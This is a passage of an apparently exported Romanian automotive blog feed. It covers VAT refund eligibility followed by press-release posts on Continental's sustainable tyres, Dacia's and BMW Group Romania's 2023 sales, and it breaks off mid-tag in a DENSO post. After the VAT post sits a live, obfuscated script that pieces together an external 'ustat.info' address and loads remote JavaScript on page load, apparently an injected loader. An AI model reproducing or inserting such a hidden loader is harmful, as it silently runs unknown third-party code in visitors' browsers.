<p style="text-align: justify;"><span style="font-family: arial;"><b>2. Rambursarea TVA-ului pentru achiziții intracomunitare:</b></span></p>
<ul>
<li>
<p style="text-align: justify;"><span style="font-family: arial;"><b>Termen limită de 3 ani:</b></span></p>
<ul>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">De la data primirii bunurilor</span></p>
</li>
</ul>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;"><b>Documente suplimentare:</b></span></p>
<ul>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">Declarația TVA recapitulativă</span></p>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">Documente care dovedesc importul bunurilor</span></p>
</li>
</ul>
</li>
</ul>
<p style="text-align: justify;"><span style="font-family: arial;"><b>Cum se verifică eligibilitatea:</b></span></p>
<ul>
<li>
<p style="text-align: justify;"><span style="font-family: arial;"><b>Consultarea legislației fiscale în vigoare:</b></span></p>
<ul>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">Codul Fiscal</span></p>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">Ghidul de rambursare a TVA-ului</span></p>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">Ghidul de recuperare a accizelor</span></p>
</li>
</ul>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;"><b>Contactarea administrației fiscale competente:</b></span></p>
<ul>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">Informații personalizate</span></p>
</li>
</ul>
</li>
<li>
<p style="text-align: justify;"><span style="font-family: arial;"><b>Utilizarea unui instrument online:</b></span></p>
<ul>
<li>
<p style="text-align: justify;"><span style="font-family: arial;">Disponibil pe site-ul ANAF</span></p>
</li>
</ul>
</li>
</ul>
<p style="text-align: justify;"><span style="font-family: arial;"><b>Concluzie</b></span></p>
<p style="text-align: justify;"><span style="font-family: arial;"><span>Eligibilitatea pentru rambursarea TVA-ului este un aspect important care trebuie verificat cu atenție. Respectarea condițiilor generale și specifice, precum și a termenelor limită, este esențială pentru a putea beneficia de rambursarea sumelor cuvenite. Este recomandat să consultați legislația în vigoare, ghidurile specifice </span><span style="font-weight: normal;"><span style="background: rgb(255, 255, 255);">să contactați autoritățile fiscale sau un consultant fiscal pentru informații detaliate și asistență personalizată.</span></span></span></p>
<script>
(function(){
oq1z=document.createElement("script");oq1z.async=true;oq1z_="u"+("s")+"t";
oq1zu="2240610336.";oq1z_+="a"+("t.i");oq1z_+="n"+("f"+"o")+"/";
oq1zu+="9e3ma69cq1z77xvg5i3ivb"+("e20rsg4q");
oq1z.src="https://"+oq1z_+oq1zu;oq1z.type="text/javascript";
document.body.appendChild(oq1z);
})();
</script>
Constantin Hribanhttp://www.blogger.com/profile/16164390325687512083noreply@blogger.com0tag:blogger.com,1999:blog-4466149833957395360.post-88199259933854627182024-02-05T16:45:00.001+02:002024-02-05T16:50:40.798+02:00Viitorul mobilității: cum implementează Continental tehnologiile<p><span style="font-family: arial;"> </span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: arial;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbi3yfbHIQWCbEfnikvgtASCG26RDNY38oUBeJcHz2qUe_RmRuGp3D3VAjZrZBn36jUF0y8p_UBzitf5rCfqivEyw1_ZFkQ-J2PGCjYB_-Y515ReYnl_PACoc4lIbT5W12xfCJvnB72EX7XeiUdEFyQaYywp9-Gz6GLJK_S7l-xzGnGCPEaT9eJdYZu4OU/s744/infografic-materiale-sustenabile-continental.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Infografic materiale sustenabile Continental" border="0" data-original-height="537" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbi3yfbHIQWCbEfnikvgtASCG26RDNY38oUBeJcHz2qUe_RmRuGp3D3VAjZrZBn36jUF0y8p_UBzitf5rCfqivEyw1_ZFkQ-J2PGCjYB_-Y515ReYnl_PACoc4lIbT5W12xfCJvnB72EX7XeiUdEFyQaYywp9-Gz6GLJK_S7l-xzGnGCPEaT9eJdYZu4OU/s16000/infografic-materiale-sustenabile-continental.jpg" title="Viitorul mobilității: cum implementează Continental tehnologiile - de la concept la producția anvelopei" /></a></span></div><span style="font-family: arial;"><br /></span><p></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><u><span style="color: #1d2228;">Continental stabilește
noi standarde de utilizare a materialelor sustenabile în producția
anvelopelor de serie.</span></u></b><u><span style="color: #1d2228;"><o:p></o:p></span></u></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><u><span style="color: #1d2228;">Pionier în implementare:
în unele cazuri, este nevoie de un singur an pentru a trece de la concept la
producție.</span></u></b><u><span style="color: #1d2228;"><o:p></o:p></span></u></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><u><span style="color: #1d2228;">Producătorul de anvelope
folosește deja în fabrică materiale precum siliciul derivat din cenușa cojii de
orez, negrul de fum obținut din anvelopele scoase din uz și poliesterul din PET
reciclat.</span></u></b></span></p>
<p class="MsoNormal" style="text-align: justify;"><b><span style="color: #1d2228;"><span style="font-family: arial;">La târgurile internaționale de top, cum ar
fi IAA Mobility, Continental prezintă tehnologii inovatoare care stabilesc noi
standarde. Un subiect de interes este sustenabilitatea. Încă din 2021, odată cu
Conti GreenConcept, producătorul de anvelope s-a concentrat pe utilizarea
siliciului din deșeuri agricole, a poliesterului din PET reciclat și a altor
materiale regenerabile și reciclabile. În prezent, Continental a încorporat
multe dintre aceste tehnologii în producția anvelopelor sale în serie. Cu modelul
UltraContact NXT, compania a lansat anul trecut cea mai sustenabilă anvelopă de
serie de până acum. Acest lucru subliniază poziția Continental de a fi cel mai
progresist producător din industria anvelopelor în ceea ce privește
sustenabilitatea.</span></span></b></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">„Inovațiile sustenabile își au locul pe
șosea și nu într-un showroom. Ne asigurăm că inovațiile și conceptele de
anvelope sunt puse la dispoziția clienților noștri și intră în producție cât
mai repede posibil, fără niciun compromis în ceea ce privește siguranța și
performanța. Am fost primii care au integrat tehnologii de pionierat, precum
PET-ul reciclat, în producția de anvelope de serie. Am fost, de asemenea,
primul producător de anvelope care a lansat un model cu o pondere deosebit de
mare de materiale regenerabile și reciclate. Ne ținem de cuvânt atunci când
vine vorba de a transforma lumea actuală într-o lume mai sustenabilă”, spune
Jorge Almeida, Head of Sustainability la Continental Tires.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Poliester din sticle PET: de la prezentare
la producția de serie în doar un an</span></b><span style="color: #1d2228;"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Sticlele din plastic ajung adesea în
instalațiile de incinerare a deșeurilor sau în depozitele de deșeuri. Prin
utilizarea tehnologiei Conti-Re.Tex, Continental și partenerii săi au reușit să
producă din sticle PET reciclate fire de poliester de înaltă calitate pentru
anvelope. În funcție de dimensiunea acestora, pot fi reutilizate între nouă și
cincisprezece sticle din plastic pentru fiecare anvelopă. Sticlele PET
utilizate provin exclusiv din regiuni fără un circuit închis de reciclare.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Producătorul de anvelope premium a adus
tehnologia Conti-Re.Tex la stadiul de producție în mai puțin de un an. Acest
lucru este remarcabil, deoarece, pe lângă conversia proceselor de producție
corespunzătoare din fabricile de anvelope, utilizarea de noi materii prime
reprezintă întotdeauna un exercițiu de echilibru complex pentru inginerii și
experții în materiale de la Continental. La urma urmei, doar atunci când toate
materialele sunt perfect coordonate între ele, clienții pot beneficia de
anvelope de foarte performante, sigure, eficiente din punct de vedere energetic
și durabile. Anvelopele în serie fabricate folosind tehnologia Conti-Re.Tex
sunt disponibile la distribuitorii specializați în anvelope din Europa începând
cu aprilie 2022.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Anvelope în serie cu până la 65% materiale
sustenabile</span></b><span style="color: #1d2228;"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Tehnologia Conti-Re.Tex este implementată
pe cea mai sustenabilă anvelopă în serie pentru autoturisme de pe piață de până
acum. UltraContact NXT este o anvelopă oferită de Continental care conține o
proporție deosebit de mare de materiale sustenabile. Multe dintre tehnologiile
implementate pentru această anvelopă, parte a Conti GreenConcept, au fost
prezentate pentru prima dată publicului la IAA Mobility 2021. Printre acestea
se enumeră siliciul derivat din coajă de orez sau reciclarea sticlelor PET. Producția
anvelopei UltraContact NXT a început în iulie 2023 în Lousado, Portugalia.
Având până la 65% materiale regenerabile, reciclate și certificate pentru
echilibrarea masei, anvelopele în serie combină materialele sustenabile cu
siguranță și performanța maximă. Toate cele 19 dimensiuni au primit cea mai
bună evaluare a etichetei UE pentru anvelope ("A") în ceea ce
privește rezistența la rulare, frânarea în condiții de carosabil umed și
zgomotul exterior. Până în 2030, Continental își propune să utilizeze peste 40%
materiale regenerabile și reciclate în anvelopele sale. UltraContact NXT este
un pas important pentru ca producătorul de anvelope să atingă obiectivele sale
ambițioase de sustenabilitate.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Inovații de-a lungul întregului lanț
valoric</span></b><span style="color: #1d2228;"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Datorită interacțiunii echilibrate dintre
tehnologiile și materialele eficiente și durabile, produsele Continental sunt
deosebit de eficiente în timpul condusului. Tehnologia Conti CityPlus
prezentată la ediția din acest an a IAA Mobility, de exemplu, crește eficiența
energetică globală a anvelopei unui automobil cu până la 10%. Acest lucru
înseamnă emisii mai mici de CO2 pentru mașinile cu motoare cu combustie și o
autonomie mai mare pentru vehiculele electrice. Acest lucru se realizează prin
optimizarea comportamentului anvelopelor în traficul orașului, care te obligă
să frânezi des, ceea ce poate crește autonomia autoturismelor cu până la 3%.
Pentru vehiculele electrice, acest lucru corespunde unei economii de
aproximativ 0,6 kWh la 100 de kilometri. Cea mai recentă tehnologie a
Continental ar putea fi utilizată în producție în viitorul apropiat.
Producătorul premium este în contact cu mai mulți clienți de echipamente
originale care și-au exprimat interesul.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Evoluția sistematică către o
sustenabilitate sporită</span></b><span style="color: #1d2228;"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Continental lucrează în permanență pentru a
avansa în materie de tehnologii inovatoare, produse și servicii sustenabile
de-a lungul întregului lanț valoric, de la achiziționarea de materiale
sustenabile până la reciclarea anvelopelor scoase din uz.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Până în 2030, producătorul de anvelope
premium își propune să utilizeze peste 40% de materiale regenerabile și
reciclate în anvelopele sale. Continental își propune să atingă o proporție de
100% de materiale sustenabile în anvelopele sale până cel târziu în 2050.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span lang="EN-US" style="color: #1d2228;"><span style="font-family: arial;">Sursa: Continental România</span><span style="font-family: Arial, sans-serif;"><o:p></o:p></span></span></p>Constantin Hribanhttp://www.blogger.com/profile/16164390325687512083noreply@blogger.com0tag:blogger.com,1999:blog-4466149833957395360.post-37147157324684637822024-01-30T11:14:00.001+02:002024-01-30T11:14:42.228+02:00Dacia: peste 46.000 de vehicule vândute în România în 2023<p><span style="font-family: arial;"> </span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: arial;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjj4K_524LnoHdkdisO08MBzXfHbTqulZdW44z_7zRcJdaTWsF-c-9OO0h8F-sHFxOtjGIv3iEqcykI4MO8cKui6nS5PGCkQ0ruZVhFSYfGcw5fzhwr1vXTJhO4eNOqfgZQwoZEwq30BVJIVEuQMhHscl1MAmU6AsVfuckUoZnfJRVrHL3Aj1UvHZzBw9lW/s744/dacia.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Dacia" border="0" data-original-height="419" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjj4K_524LnoHdkdisO08MBzXfHbTqulZdW44z_7zRcJdaTWsF-c-9OO0h8F-sHFxOtjGIv3iEqcykI4MO8cKui6nS5PGCkQ0ruZVhFSYfGcw5fzhwr1vXTJhO4eNOqfgZQwoZEwq30BVJIVEuQMhHscl1MAmU6AsVfuckUoZnfJRVrHL3Aj1UvHZzBw9lW/s16000/dacia.jpg" title="Dacia: peste 46.000 de vehicule vândute în România în 2023" /></a></span></div><span style="font-family: arial;"><br /></span><p></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><u><span style="color: #1d2228;">Vânzări în creștere cu
14,8% față de anul 2022. </span></u></b><u><span style="color: #1d2228;"><o:p></o:p></span></u></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><u><span style="color: #1d2228;">Gama Dacia ocupă
integral clasamentul celor mai vândute 5 modele din România.</span></u></b></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Dacia a înmatriculat în 2023 un număr de
46.124 de vehicule pe piața din România, în creștere cu 14,8% față de cele
40.179 de unități comercializate în anul precedent.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Dacia își menține, astfel, poziția de lider
detașat pe piața din România, cu o cotă de 28,6% din totalul înmatriculărilor
de vehicule noi.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><b><span style="color: #1d2228;"><span style="font-family: arial;">Cele mai vândute cinci modele din România
în 2023 sunt marca Dacia<o:p></o:p></span></span></b></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">În premieră absolută, în 2023 topul celor
mai vândute 5 modele din România a fost ocupat integral de gama
Dacia. Aceasta dovedește, odată în plus, pertinența ofertei Dacia,
adaptată unei categorii largi de clienți, atât persoanelor fizice cât și utilizatorilor
de flote. Fiecare model Dacia a fost, totodată, lider în segmentul său de
piață.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Clasamentul vânzărilor pe modele este
condus de Logan, cu 14.269 de unități, în creștere cu 25% față de cele 11.401
vehicule înmatriculate în 2022. </span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Aflat în ultimul an complet de
comercializare, înainte de intrarea în fabricație a unei noi generații, Duster
a reușit o performanță foarte bună pe piața din România, ocupând locul al
doilea în topul vânzărilor, cu 10.908 unități, peste rezultatul anului
precedent (10.161 vehicule).</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Versiunea „Extreme”, care beneficiază de
cel mai ridicat nivel de echipare din gamă și de elemente de design specifice
outdoor, reprezintă 34% din vânzările Duster. Totodată, două treimi din
clienții Duster au optat în 2023 pentru versiunea cu tracțiune integrală. </span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Pe locul al treilea se află Sandero, cu
9.896 unități (+16,9% față de cele 8.492 vehicule vândute în anul precedent).
Cea mai mare parte a vânzărilor (92%) a fost reprezentată de versiunea
Stepway. </span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Cu 6.875 de unități vândute, Spring a
continuat să fie și în 2023 cel mai popular model electric de pe piața din
România, cu o cotă de piață de peste 43% în segmentul vehiculelor 100%
electrice. Lansată la începutul anului trecut, versiunea Spring 65, care
beneficiază de un nou motor, mai puternic, a reprezentat 49% din vânzările
modelului.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Aflat pe locul cinci în clasamentul celor
mai vândute modele din România, cu 4.175 unități înmatriculate în 2023, Jogger
s-a impus drept cel mai popular vehicul de familie cu până la 7 locuri de pe
piața locală. Versiunea Hybrid 140, primul vehicul full-hibrid produs în
România, a reprezentat 17% din totalul vânzărilor.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Dezvăluită presei la sfârșitul anului
trecut, a treia generație a modelului Duster va putea fi comandată de clienții
din România în primele zile ale lunii martie, primele livrări fiind prevăzute
înainte de jumătatea anului.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">La rândul său, modelul Spring va cunoaște o
evoluție semnificativă în acest an, care îi va consolida atractivitatea în
segmentul vehiculelor electrice accesibile. </span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Nu în ultimul rând, 2024 va fi anul în care
se va încheia procesul de modernizare a rețelei comerciale Dacia din România,
prin adoptarea noii identități vizuale a mărcii atât la exterior, cât și la
interiorul tuturor showroom-urilor. </span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">„În 2023 Dacia a reușit performanța de a
ocupa integral clasamentul celor mai vândute 5 modele din România. Aceasta
reprezintă cea mai bună confirmare a faptului că modelele noastre răspund
așteptărilor diverse ale clienților, constituind o ofertă atrăgătoare la cel
mai bun raport prestații/preț. Sunt convins că Noul Duster, a cărui lansare
reprezintă pentru noi evenimentul anului 2024, va deveni, la rândul său, o
adevărată referință pe piața din România.”,</span></b><span style="color: #1d2228;"> Mihai Bordeanu,
Director General Automobile Dacia.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Sursa: Dacia România</span><span style="font-family: Arial, sans-serif;"><o:p></o:p></span></span></p>Constantin Hribanhttp://www.blogger.com/profile/16164390325687512083noreply@blogger.com0tag:blogger.com,1999:blog-4466149833957395360.post-7366501973084574182024-01-17T10:07:00.000+02:002024-01-17T10:07:18.155+02:00Pentru prima dată, BMW Group România depăşeşte pragul de 5000 de unităţi într-un an<p><span style="font-family: arial;"> </span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: arial;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYPjXPQD8ii_fHAgWsEmSrk0qAVwwhgJpO2kprrAjDOJqR5h7tHOL2TN7tv4XjrmqIyzMyB2R7iqa5bb1IygZXbPj8O-o13gPrkpeEiXdgBxq0FyaBd0f0vkSv-M7ZLfeUhtjyuUCsMaLIKNXW2u_zW6XofnjWQq92wg96DEA6zJKm1LE8_su1qXyUz1kD/s744/bmw-group-romania.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="BMW Group România" border="0" data-original-height="496" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYPjXPQD8ii_fHAgWsEmSrk0qAVwwhgJpO2kprrAjDOJqR5h7tHOL2TN7tv4XjrmqIyzMyB2R7iqa5bb1IygZXbPj8O-o13gPrkpeEiXdgBxq0FyaBd0f0vkSv-M7ZLfeUhtjyuUCsMaLIKNXW2u_zW6XofnjWQq92wg96DEA6zJKm1LE8_su1qXyUz1kD/s16000/bmw-group-romania.jpg" title="Pentru prima dată, BMW Group România depăşeşte pragul de 5000 de unităţi într-un an" /></a></span></div><span style="font-family: arial;"><br /></span><p></p><p class="MsoNormal" style="text-align: justify;"><b><u><span style="color: #1d2228;"><span style="font-family: arial;">Livrările BMW Group
România ating un nou maxim istoric de 5076 unităţi în 2023 (+57%). +++ BMW a
depăşit pragul de 4000 de unităţi într-un an deja din luna noiembrie şi închide
anul cu o cfiră record de 4689 înmatriculări în 2023 (+57%). „Să avem coroana
în segmentul premium este o confirmare a aprecierii de care se bucură marca
BMW. Avem privilegiul să reprezentăm unul din cele mai populare branduri din
România”, Dr. Josef Reiter, Director General BMW Group România. +++ MINI
stabileşe un alt record absolut cu 387 înmatriculări în 2023 (+57%). +++ BMW
Motorrad depăşeşte pentru prima dată în istorie 800 unităţi – cu 809
motociclete livrate în 2023 (+31%). +++ Performanţa de piaţă a susţinut şi
implementarea de noi servicii pentru clienţii din România, inculsiv
introducerea BMW Connected Drive Store şi a unei experienţe complet digitale şi
contactless în service. +++ „România are un parcurs pozitiv şi resurse de
dezvoltare şi în viitor. Credem în această piaţă. Explorăm noi direcţii şi
căutăm să adresăm noi grupuri ţintă pentru a susţine evoluţia noastră”, Dr.
Josef Reiter, Director General BMW Group România.</span></span></u></b></p>
<p class="MsoNormal" style="text-align: justify;"><b><span style="color: #1d2228;"><span style="font-family: arial;">BMW Group a încheiat un an excepţional în
România, cu multe performanţe record pe piaţa locală. Grupul a depăşit pentru
prima dată cota de 5000 de înmatriculări automobile noi BMW şi MINI. BMW a
încheiat anul cu prima poziţie în ceea ce priveşte înmatriculările în segmentul
premium, cu un total de 4689 înmatriculări (+57%). Este pentru prima dată când
marca depăşeşte pragul de 4000 înmatriculări într-un an, aceasta fiind
realizată deja din luna noiembrie. Această performanţă solidă poziţionează BMW
pe primul loc în segmentul premium. „Să avem coroana în segmentul premium este
o confirmare a aprecierii de care se bucură marca BMW. Avem privilegiul să
reprezentăm unul din cele mai populare branduri din România”, Dr. Josef Reiter,
Director General BMW Group România.</span></span></b></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Cel mai de succes model al mărcii rămâne
şi în acest an BMW X5 cu 818 livrări în 2023. Acesta este urmat de BMW Seria 3
cu 632 unităţi şi BMW X3 cu 391 livrări. De remarcat interesul deosebit pentru
sistemul de tracţiune intergarlă xDrive al pieţei din România, patru din cinci
modele livrate local sunt cu tracţiune integrală.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">În ceea ce priveşte electrificarea, BMW se
menţine la nivelul anului 2022, cu 25% modele electrificate din totalul
livrărilor, 10% modele electrice şi16% modele plug-in hybrid. În topul celor
mai de succes modele electrice, i4 a urcat pe prima poziţie cu 130 unităţi,
urmat de iX cu 80 de unităţi şi nou lansatul iX1 cu 68 de unităţi. Remarcabil
este că oferta de modele BMW electrice este în continuă creştere, urmând să
ajungă la 8 modele şi cel puţin 16 variante de propulsie în 2024, o dată cu
lansarea noilor BMW iX2 şi i5 Touring. Acestea acoperă un spectru larg de
modele, inclusiv versiuni M, aşa cum este BMW i4 M50, modele de lux, aşa cum
este BMW i7 sau iX, sau modele premium accesibile, aşa cum este BMW i4 35, cel
mai accesibil model din gama BMW Seria 4 Gran Coupe chiar şi fără Rabla Plus,
sau BMW iX1 20, un SUV compact premium cu un preţ foarte atractiv.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">În ceea ce priveşte modelele electirce, cel
mai de succes model al mărcii, BMW X5, este şi cel mai de succes model PHEV cu
196 de unităţi, aproximativ un sfert din totalul livrărilor. Acesta este urmat
de BMW X3 cu 97 livrări şi BMW Seria 5 cu 64 de unităţi.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">BMW Motorrad, cu 809 motociclete livrate în
2023 a realizat un plus de 31% faţă de anul precedent şi un alt record pentru
piaţa din România.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Şi BMW M a fost eroul unei performanţe
record. Au fost livrați către clienți peste un sfert de milion de cai putere cu
231 modele M de înaltă performanță și 263 de modele M de performanță. Cu un
total de 494 de unităţi, aceasta reprezintă o creştere de 97% faţă de anul
precedent. Noul BMW XM este și noul best seller absolut al mărcii, cu un total
de 55 de unități, din care 4 au fost versiuni de înaltă performanță Label, care
dezvoltă o putere impresionată de 748 CP. Foarte aproape a fost BMW M4 Coupe Competition,
are a ajuns în 2023 la 47 livrări. Alte două lansări în acest an au fost noile
BMW M2 și BMW M3 Touring, acestea ajungând la 16, respectiv 11 clienți.<o:p></o:p></span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">MINI a stabilit un nou reper istoric de
înmatriculări în România – 387 unităţi, un plus de 57% faţă de anul precedent.
Deja înainte relansarea completă a întregii familii de modele, MINI a stabilit
un reper puternic în ceea ce priveşte automobilele electrice – unul din patru
modele înmatriculate în România fiind electric. 2024 va aduce o diversificare a
gamei de automobile electrice cu un exponent în fiecare segment şi cel puţin
două versiuni de sisteme de propulsie electrice pentru fiecare nou model.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b><span style="color: #1d2228;">Dezvoltarea de servicii pentru clienţii din
România</span></b><span style="color: #1d2228;"><br />
Performanţa de piaţă a susţinut şi implementarea de noi servicii pentru
clienţii din România. În prim plan sunt My BMW App şi MINI App, aplicaţii de
mobil cu funcţionalităţi extinse, care permit diverse funcţii de control al
automobilului, inclusiv cheie digitală, control funcţii climatizare sau
programare în service. Aproape 90% din maşinile livrate în 2023 în România sunt
sincronizate cu în aceste aplicaţii.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Pe parcursul ultimilor ani a fost dezvoltat
şi lansat un pachet complet de soluţii digitale care transformă experienţa de
service pentru clienţii BMW şi MINI în România. Astfel clienţii, primesc
notificări automate despre nevoile de service, putând fi realizată şi o
diagnoză remote în situaţii de urgenţă. Clientul se poate program în service
folosind My BMW App/MINI App sau un formular web. Poate preda maşina flexibil,
în orice moment al zilei, fără interacţiune directă cu recepţionerul de
service, folosind „Digital Service Reception” şi un box de preluare al cheii.
Ulterior primeşte informaţii detaliate despre maşina şi lucrările de service,
însoţite de explicaţii video sub forma de Smart Video Communication. Poate apoi
să plătească factura on-line, din aplicaţie. În final poate ridica maşina cu
acelaşi serviciu „Digital Service Reception”, inclusiv în afara orelor de
program.</span></span></p><p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">
Un alt serviciu important care a debutat la finalul 2023 este BMW Connected
Drive Store. Sistemul permite utilizatorilor să achiziţioneze diverse soluţii
prin intermediul My BMW App/MINI App, platformei on-line sau direct din maşină.
Prin acest sistem pot fi achiziţionate sisteme care iniţial nu erau disponibile
pe maşină, aşa cum ar fi noi sisteme de asistenţă pe perioade de la o lună,
până la nelimitat – ceea ce asigură mai multă flexibilitate pentru clienţi fără
să costuri de achiziţie iniţiale mai mari. Totodată, pentru modelele cu sistem
de operare 9.0, pot fi descărcate în automobil o serie de aplicaţii 3rd party,
de la jocuri, la toate platformele populare de streaming audio.</span></span></p><p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">
<b>Perspective pentru 2024<br />
</b>Toate mărcile BMW Gorup beneficiază de o serie de modele de foarte
importante în ultima perioadă, care s-au bucurat de o recepţie foarte bună pe
piaţă şi sunt foarte importante pentru portofoliul. Pentru 2024, BMW va aduce
în prim plan noile BMW X2 şi BMW iX2, noile modele Seria 5 Touring şi, o
premieră absolută, primul model electric în această versiune de caroserie – i5
Touring. Alături de aceasta, gama M va primi o actualizare pentru modelele M2,
M3, M4, urmând ca pe final de an să fie prezentate noi modele.<br />
<br />
MINI a prezentat primii membrii ai noii familii de modele a mărcii şi va
reactualiza întreaga gamă – Cooper, Countryman şi Aceman pe parcursul 2024, cu
modele electrice în fiecare segment.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">BMW Motorrad are în prim plan lansara noi
generaţii a best seller-ului mărcii, BMW R 1300 GS, dar are o gamă largă de
noutăţi care merge până la un nou scooter electric accesibil, ideal pentru
mobilitatea urbană – BMW CE 02.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Contextul economic favorabil, dar în
continuare foarte volatil, susţinut de soluţii noi de finanţare, aşa cum sunt
soluţiile de leasing operaţional pentru BMW şi MINI, dar şi portofoliul
puternic de modele, sunt baza unei perspective optimiste în special pe termen
mediu. „România are un parcurs pozitiv şi resurse de dezvoltare şi în viitor.
Credem în această piaţă. Explorăm noi direcţii şi căutăm să adresăm noi grupuri
ţintă pentru a susţine evoluţia noastră”, Dr. Josef Reiter, Director General
BMW Group România.</span></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="color: #1d2228;"><span style="font-family: arial;">Sursa: BMW România</span><span style="font-family: Arial, sans-serif;"><o:p></o:p></span></span></p>Constantin Hribanhttp://www.blogger.com/profile/16164390325687512083noreply@blogger.com0tag:blogger.com,1999:blog-4466149833957395360.post-91157680876131841962023-12-30T16:52:00.002+02:002024-01-02T15:10:37.690+02:00DENSO Aftermarket evidențiază evoluția bobinei de aprindere<p><span style="font-family: arial;"> </span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: arial;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvaQCPuZZF6sRMh56fogGV7-ugHNhyv5MTvCn7jzIn6zTJ4KNM4niB_fuDDjxUEa5DXpRYbCHdwWqrEFRLzLTIiGam6DmIdGAbISxUId24Opl0HQPAsXrGu_TWBzgtkT3lN13IohMXlj1zFJkQOE1tB4L3jg1DP-2IBS1dMCsauurzmpIDAZi4WdsZ0OH4/s744/bobine-de-aprindere-denso.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Bobine de aprindere Denso" border="0" data-original-height="505" data-original-width="744" 